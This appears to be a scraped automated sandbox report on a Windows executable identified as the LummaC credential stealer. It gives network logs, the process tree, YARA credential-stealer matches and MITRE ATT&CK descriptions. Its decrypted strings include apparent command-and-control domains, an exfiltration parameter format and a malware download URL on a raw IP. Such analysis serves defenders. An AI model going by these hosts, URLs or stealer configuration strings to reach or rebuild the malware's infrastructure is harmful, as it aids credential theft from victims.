2024-11-20 02:21:58 UTC	192	OUT	GET /rules/rule701350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 02:21:58 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 02:21:58 GMT Content-Type: text/xml Content-Length: 1370 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE62E0AB" x-ms-request-id: 873207a6-301e-001f-2d8c-3aaa3a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T022158Z-r1d97b99577kk29chC1TEBemmg00000008b0000000003fyf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 02:21:58 UTC	1370	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPerformance" S="Medium" /> <F

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.8	49963	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 02:21:58 UTC	192	OUT	GET /rules/rule702150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 02:21:58 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 02:21:58 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:07 GMT ETag: "0x8DC582BEDC8193E" x-ms-request-id: e2992adc-501e-005b-288c-3ad7f7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T022158Z-1777c6cb754whff4hC1TEBcd6c00000007k000000000euxa x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 02:21:58 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f 70 6c 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeople" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.8	49962	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 02:21:58 UTC	192	OUT	GET /rules/rule702151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 02:21:58 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 02:21:58 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE156D2EE" x-ms-request-id: a615b14a-d01e-008e-6e8c-3a387a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T022158Z-185f5d8b95c68cvnhC1NYCfn7s00000009k000000000mgkn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 02:21:58 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeo

Target ID:	0
Start time:	21:20:33
Start date:	19/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xd70000
File size:	1'865'216 bytes
MD5 hash:	C6774985FC109440CE01C0BDF1978A96
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1683420078.0000000000A8C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1683039757.0000000000A88000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	21:20:57
Start date:	19/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Imagebase:	0x7ff678760000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	21:20:58
Start date:	19/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2140 --field-trial-handle=1908,i,10312143833214285675,2582168569992251965,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff678760000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	21:21:01
Start date:	19/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Imagebase:	0x7ff678760000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	21:21:02
Start date:	19/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2104 --field-trial-handle=1908,i,3294702590203488965,14854174447788199896,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff678760000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Source: https://cook-rain.sbs/L	Avira URL Cloud: Label: malware
Source: https://cook-rain.sbs/z	Avira URL Cloud: Label: malware
Source: http://185.215.113.16/off/def.exe94	Avira URL Cloud: Label: phishing
Source: https://cook-rain.sbs/_	Avira URL Cloud: Label: malware
Source: https://cook-rain.sbs/apiUni	Avira URL Cloud: Label: malware
Source: https://cook-rain.sbs/)	Avira URL Cloud: Label: malware
Source: http://185.215.113.16/;	Avira URL Cloud: Label: phishing

Source: 00000000.00000002.1895279207.0000000000D71000.00000040.00000001.01000000.00000003.sdmp	String decryptor: p3ar11fter.sbs
Source: 00000000.00000002.1895279207.0000000000D71000.00000040.00000001.01000000.00000003.sdmp	String decryptor: 3xp3cts1aim.sbs
Source: 00000000.00000002.1895279207.0000000000D71000.00000040.00000001.01000000.00000003.sdmp	String decryptor: peepburry828.sbs
Source: 00000000.00000002.1895279207.0000000000D71000.00000040.00000001.01000000.00000003.sdmp	String decryptor: p10tgrace.sbs
Source: 00000000.00000002.1895279207.0000000000D71000.00000040.00000001.01000000.00000003.sdmp	String decryptor: processhol.sbs
Source: 00000000.00000002.1895279207.0000000000D71000.00000040.00000001.01000000.00000003.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000000.00000002.1895279207.0000000000D71000.00000040.00000001.01000000.00000003.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000000.00000002.1895279207.0000000000D71000.00000040.00000001.01000000.00000003.sdmp	String decryptor: - Screen Resoluton:
Source: 00000000.00000002.1895279207.0000000000D71000.00000040.00000001.01000000.00000003.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000000.00000002.1895279207.0000000000D71000.00000040.00000001.01000000.00000003.sdmp	String decryptor: Workgroup: -

Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Chrome Cache Entry: 100

Chrome Cache Entry: 101

Chrome Cache Entry: 102

Chrome Cache Entry: 103

Chrome Cache Entry: 104

Chrome Cache Entry: 105

Chrome Cache Entry: 106

Windows Analysis Report
file.exe

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre